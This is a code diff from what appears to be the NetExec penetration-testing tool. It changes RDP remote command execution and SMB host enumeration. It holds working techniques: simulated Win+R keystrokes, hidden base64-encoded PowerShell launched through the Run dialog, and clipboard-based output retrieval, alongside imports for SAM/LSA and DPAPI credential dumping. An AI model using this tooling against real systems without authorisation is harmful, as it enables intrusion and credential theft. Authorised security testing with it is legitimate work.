||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = True
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
await asyncio.sleep(delay)
|
||||
|
||||
async def _send_enter(self):
|
||||
@@ -458,223 +400,144 @@ class rdp(connection):
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
|
||||
|
||||
async def _send_shortcut(self, modifier, key):
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
modifier_scancode = layout.vk_to_scancode(modifier)
|
||||
key_scancode = layout.char_to_scancode(key)[0]
|
||||
|
||||
await self.conn.send_key_scancode(modifier_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, False, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(modifier_scancode, False, False)
|
||||
|
||||
async def _send_win_r(self):
|
||||
"""Helper method to send Windows+R key combination to open Run dialog"""
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
for _ in range(2):
|
||||
_, err = await self.conn.send_focus_in()
|
||||
if err is not None:
|
||||
raise err
|
||||
await self._send_shortcut("VK_LWIN", "r")
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
@staticmethod
|
||||
def _build_execution_command(payload, shell_type, marker, get_output):
|
||||
if not get_output:
|
||||
if shell_type == "cmd":
|
||||
return f"cmd.exe /d /s /c {payload}"
|
||||
if shell_type == "powershell":
|
||||
return (
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive "
|
||||
f"-WindowStyle Hidden -Command {payload}"
|
||||
)
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
|
||||
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
|
||||
|
||||
if shell_type == "cmd":
|
||||
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
|
||||
elif shell_type == "powershell":
|
||||
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
|
||||
else:
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
script = f"""
|
||||
$ErrorActionPreference = 'Continue'
|
||||
{decode_payload}
|
||||
try {{
|
||||
{invoke_command}
|
||||
$succeeded = $?
|
||||
$nativeExitCode = $LASTEXITCODE
|
||||
}} catch {{
|
||||
$output = $_
|
||||
$succeeded = $false
|
||||
$nativeExitCode = $null
|
||||
}}
|
||||
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
|
||||
$outputText = ($output | Out-String -Width 4096).TrimEnd()
|
||||
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
[System.Windows.Forms.Clipboard]::SetText($result)
|
||||
"""
|
||||
|
||||
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
|
||||
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
|
||||
|
||||
@staticmethod
|
||||
def _parse_execution_result(clipboard_text, marker):
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
|
||||
|
||||
start_index = normalized.find(start_marker)
|
||||
end_index = normalized.find(end_marker, start_index + len(start_marker))
|
||||
if start_index == -1 or end_index == -1:
|
||||
return None
|
||||
|
||||
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
|
||||
exit_code_text, separator, output = body.partition("\n")
|
||||
if not separator:
|
||||
return None
|
||||
|
||||
try:
|
||||
exit_code = int(exit_code_text.strip())
|
||||
except ValueError:
|
||||
return None
|
||||
return exit_code, output.rstrip("\n")
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
|
||||
async def _wait_for_event(self, event_names, max_wait):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + max_wait
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
|
||||
while True:
|
||||
if self.conn.disconnected_evt.is_set():
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
win_scancode = layout.vk_to_scancode("VK_LWIN")
|
||||
await self.conn.send_key_scancode(win_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
r_scancode = layout.char_to_scancode("r")[0]
|
||||
await self.conn.send_key_scancode(r_scancode, True, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
|
||||
if data is None:
|
||||
raise ConnectionError("RDP connection was terminated")
|
||||
await self.conn.send_key_scancode(r_scancode, False, False)
|
||||
await asyncio.sleep(0.1)
|
||||
|
||||
event_name = getattr(getattr(data, "type", None), "name", None)
|
||||
if event_name in event_names:
|
||||
return data
|
||||
await self.conn.send_key_scancode(win_scancode, False, False)
|
||||
|
||||
async def _wait_for_desktop(self):
|
||||
loop = asyncio.get_running_loop()
|
||||
started_at = loop.time()
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
if not self.conn.desktop_buffer_has_data:
|
||||
try:
|
||||
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
|
||||
except TimeoutError:
|
||||
self.logger.debug("No desktop update received before command execution; continuing")
|
||||
|
||||
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
|
||||
if remaining_delay > 0:
|
||||
await asyncio.sleep(remaining_delay)
|
||||
|
||||
async def _submit_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self.conn.set_current_clipboard_text(command)
|
||||
# server must acknowledge our clipboard data before we trigger the read
|
||||
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
|
||||
if not response.accepted:
|
||||
raise RuntimeError("Remote session rejected the clipboard command data")
|
||||
# type a one-liner that reads and executes the clipboard we just set
|
||||
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
|
||||
await self._send_keystrokes(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
|
||||
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
|
||||
"System.Windows.Forms; Invoke-Expression "
|
||||
'([System.Windows.Forms.Clipboard]::GetText())"'
|
||||
)
|
||||
await self._send_enter()
|
||||
|
||||
async def _submit_typed_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self._send_keystrokes(command, delay=0.005)
|
||||
await self._send_enter()
|
||||
|
||||
async def _wait_for_command_result(self, marker):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + self.args.clipboard_delay
|
||||
|
||||
while True:
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
|
||||
result = self._parse_execution_result(data.data, marker)
|
||||
if result is not None:
|
||||
return result
|
||||
self.logger.debug("Win+R sent successfully")
|
||||
return True
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error sending Win+R: {e!s}")
|
||||
self.logger.debug("Using fallback approach for opening command prompt")
|
||||
return False
|
||||
|
||||
async def execute_shell(self, payload, get_output, shell_type):
|
||||
marker = uuid4().hex if get_output else None
|
||||
command = self._build_execution_command(payload, shell_type, marker, get_output)
|
||||
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
|
||||
# Append | clip to send output to clipboard
|
||||
if shell_type == "cmd":
|
||||
payload_with_clip = f"{payload} | clip & exit"
|
||||
elif shell_type == "powershell":
|
||||
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
|
||||
else:
|
||||
self.logger.fail(f"Unsupported shell type: {shell_type}")
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to RDP: {e!s}")
|
||||
return None
|
||||
|
||||
try:
|
||||
if get_output:
|
||||
self.logger.success("Waiting for clipboard to be ready...")
|
||||
try:
|
||||
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return None
|
||||
|
||||
await self._wait_for_desktop()
|
||||
|
||||
if get_output:
|
||||
# On first RDP logon after boot, Explorer may not be ready to
|
||||
# process Win+R immediately after the desktop appears. This
|
||||
# no-op warmup command absorbs the race: if the shell isn't
|
||||
# ready it silently fails, and the 3-second pause gives Explorer
|
||||
# time to finish initialization before the real command.
|
||||
await self._submit_typed_run_command(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
|
||||
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
|
||||
)
|
||||
await asyncio.sleep(3)
|
||||
|
||||
if get_output:
|
||||
try:
|
||||
await self._submit_run_command(command)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Remote session did not acknowledge the clipboard command data")
|
||||
return None
|
||||
else:
|
||||
await self._submit_typed_run_command(command)
|
||||
|
||||
if not get_output:
|
||||
clipboard_ready = False
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
return None
|
||||
|
||||
timeout_counter = 0
|
||||
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
|
||||
try:
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
|
||||
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
|
||||
clipboard_ready = True
|
||||
self.logger.debug("Clipboard is ready!")
|
||||
break
|
||||
except asyncio.TimeoutError:
|
||||
timeout_counter += 1
|
||||
continue
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
if not clipboard_ready:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
# Wait for desktop to be available
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
try:
|
||||
exit_code, output = await self._wait_for_command_result(marker)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
|
||||
# Try to open Run dialog using Windows+R
|
||||
self.logger.debug("Attempting to open Run dialog")
|
||||
win_r_success = await self._send_win_r()
|
||||
|
||||
if win_r_success:
|
||||
self.logger.debug(f"Launching {shell_type} via Run dialog")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
|
||||
else:
|
||||
# Fallback: Try direct command typing (assumes cmd may already be open)
|
||||
self.logger.debug(f"Sending {shell_type} command directly")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
# Type the command with | clip
|
||||
self.logger.debug(f"Typing command: {payload_with_clip}")
|
||||
await self._send_keystrokes(payload_with_clip)
|
||||
await self._send_enter()
|
||||
|
||||
# Wait for command to execute
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
if get_output:
|
||||
# Get the current clipboard text
|
||||
self.logger.debug("Getting clipboard content...")
|
||||
clipboard_text = await self.conn.get_current_clipboard_text()
|
||||
|
||||
if clipboard_text:
|
||||
self.logger.debug("Command output retrieved from clipboard:")
|
||||
for line in clipboard_text.lstrip().strip("\n").splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.fail("Clipboard is empty or contains non-text data")
|
||||
return clipboard_text
|
||||
else:
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
|
||||
self.logger.debug("Command execution completed")
|
||||
return None
|
||||
|
||||
if exit_code != 0:
|
||||
self.logger.fail(f"Command completed with exit code {exit_code}")
|
||||
if output:
|
||||
for line in output.splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.debug("Command completed without output")
|
||||
return output
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error during command execution: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host during command execution")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error during command execution: {e!s}")
|
||||
if "cannot unpack non-iterable NoneType object" in str(e):
|
||||
self.logger.fail("RDP connection was terminated unexpectedly")
|
||||
else:
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error: {e!s}")
|
||||
@@ -684,6 +547,10 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
self.logger.debug(f"Unexpected error: {e!s}")
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
finally:
|
||||
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
await self.terminate_conn()
|
||||
|
||||
def execute(self, payload=None, shell_type="cmd"):
|
||||
"""Execute a command via RDP"""
|
||||
@@ -692,70 +559,71 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
get_output = bool(not self.args.no_output)
|
||||
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("-x/-X need credentials")
|
||||
return None
|
||||
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
|
||||
return None
|
||||
self.logger.success(f"Executing command: {payload}")
|
||||
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
|
||||
|
||||
try:
|
||||
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
|
||||
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
|
||||
|
||||
if result is not None:
|
||||
if result:
|
||||
self.logger.debug("Command execution completed")
|
||||
return result
|
||||
except Exception as e:
|
||||
self.logger.error(f"Command execution error: {e!s}")
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
if shell_type == "cmd":
|
||||
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
|
||||
try:
|
||||
return self.execute(payload, shell_type="powershell")
|
||||
except Exception as e2:
|
||||
self.logger.fail(f"Execute command failed, error: {e2!s}")
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
|
||||
def ps_execute(self):
|
||||
self.execute(payload=self.args.ps_execute, shell_type="powershell")
|
||||
|
||||
async def save_screenshot(self, desktop, label):
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
desktop.save(filename, "png")
|
||||
self.logger.highlight(f"{label} saved {filename}")
|
||||
|
||||
async def screen(self):
|
||||
try:
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
if self.conn.desktop_buffer_has_data:
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
|
||||
else:
|
||||
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not take the screenshot: {e!s}")
|
||||
self.logger.debug(f"Error taking screenshot: {e!s}")
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def screenshot(self):
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
|
||||
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
|
||||
self.runner.run(self.screen())
|
||||
asyncio.run(self.screen())
|
||||
|
||||
async def nla_screen(self):
|
||||
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
|
||||
connected = False
|
||||
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
await self.terminate_conn()
|
||||
continue
|
||||
|
||||
connected = True
|
||||
try:
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
self.runner.run(self.nla_screen())
|
||||
asyncio.run(self.nla_screen())
|
||||
@@ -14,14 +14,14 @@ def proto_args(parser, parents):
|
||||
|
||||
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
|
||||
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
|
||||
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
|
||||
|
||||
cgroup = rdp_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
return parser
|
||||
+349
-237
@@ -4,18 +4,13 @@ import os
|
||||
import re
|
||||
import struct
|
||||
import ipaddress
|
||||
from pathlib import Path
|
||||
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from Cryptodome.Hash import MD4
|
||||
from textwrap import dedent
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
|
||||
from impacket.examples.secretsdump import (
|
||||
LocalOperations,
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
LSASecrets,
|
||||
@@ -47,25 +42,24 @@ from impacket.smb3structs import (
|
||||
FILE_ADD_SUBDIRECTORY,
|
||||
FILE_DIRECTORY_FILE,
|
||||
FILE_OPEN,
|
||||
FILE_READ_DATA,
|
||||
FILE_SHARE_DELETE,
|
||||
FILE_SHARE_READ,
|
||||
FILE_SHARE_WRITE,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
FILE_WRITE_DATA,
|
||||
GENERIC_WRITE,
|
||||
SMB2_0_IOCTL_IS_FSCTL,
|
||||
WRITE_DAC,
|
||||
WRITE_OWNER,
|
||||
)
|
||||
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
|
||||
from nxc.connection import connection, sem, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
@@ -78,13 +72,17 @@ from nxc.protocols.smb.samrfunc import SamrFunc
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.misc import detect_if_ip
|
||||
from nxc.protocols.ldap.resolution import LDAPResolution
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget as Target
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
|
||||
from time import time, ctime, sleep
|
||||
from traceback import format_exc
|
||||
@@ -131,18 +129,18 @@ class smb(connection):
|
||||
self.server_os_major = None
|
||||
self.server_os_minor = None
|
||||
self.server_os_build = None
|
||||
self.os_arch = None
|
||||
self.os_arch = 0
|
||||
self.hash = None
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.dpapi_system_key = None
|
||||
self.smbv1 = None # Check if SMBv1 is supported
|
||||
self.smbv3 = None # Check if SMBv3 is supported
|
||||
self.is_timed_out = False
|
||||
self.signing = False
|
||||
self.smb_share_name = smb_share_name
|
||||
self.pvkbytes = None
|
||||
self.no_da = None
|
||||
self.no_ntlm = False
|
||||
self.null_auth = False
|
||||
@@ -152,8 +150,6 @@ class smb(connection):
|
||||
self.tgt = None
|
||||
self.tgs = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -187,7 +183,7 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
|
||||
|
||||
return None
|
||||
return 0
|
||||
|
||||
def enum_host_info(self):
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
@@ -204,33 +200,28 @@ class smb(connection):
|
||||
self.no_ntlm = True
|
||||
self.logger.debug("NTLM not supported")
|
||||
|
||||
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
|
||||
self.is_host_dc(aggressive_check=aggressive_check)
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
# self.remoteName is the attribute which gets used in the SPN
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
self.remoteName = self.host
|
||||
if not self.no_ntlm:
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
|
||||
dns_hostname = self.conn.getServerDNSHostName().upper()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
self.hostname = dns_hostname.split(".", 1)[0]
|
||||
else:
|
||||
self.hostname = dns_hostname.split(".")[0]
|
||||
elif dns_hostname:
|
||||
self.hostname = dns_hostname
|
||||
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
|
||||
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
|
||||
self.remoteName = dns_hostname if self.kerberos else self.host
|
||||
else:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
try:
|
||||
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
|
||||
if self.isdc and detect_if_ip(self.host):
|
||||
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
|
||||
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
|
||||
self.targetDomain = self.domain
|
||||
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
|
||||
else:
|
||||
@@ -238,12 +229,19 @@ class smb(connection):
|
||||
import socket
|
||||
socket.inet_aton(self.host)
|
||||
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except OSError:
|
||||
if self.host.count(".") >= 1:
|
||||
self.hostname = self.host.split(".")[0]
|
||||
self.targetDomain = ".".join(self.host.split(".")[1:])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error getting hostname from LDAP: {e}")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
@@ -258,6 +256,7 @@ class smb(connection):
|
||||
|
||||
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
|
||||
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
|
||||
# Also only on Windows we should get an OS arch as for that we would need MSRPC
|
||||
try:
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
@@ -270,9 +269,9 @@ class smb(connection):
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix - Samba"
|
||||
elif self.server_os_build == 0:
|
||||
elif self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix"
|
||||
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
|
||||
|
||||
@@ -283,6 +282,8 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
|
||||
if check_guest_account and not self.no_ntlm:
|
||||
try:
|
||||
@@ -310,11 +311,14 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
|
||||
|
||||
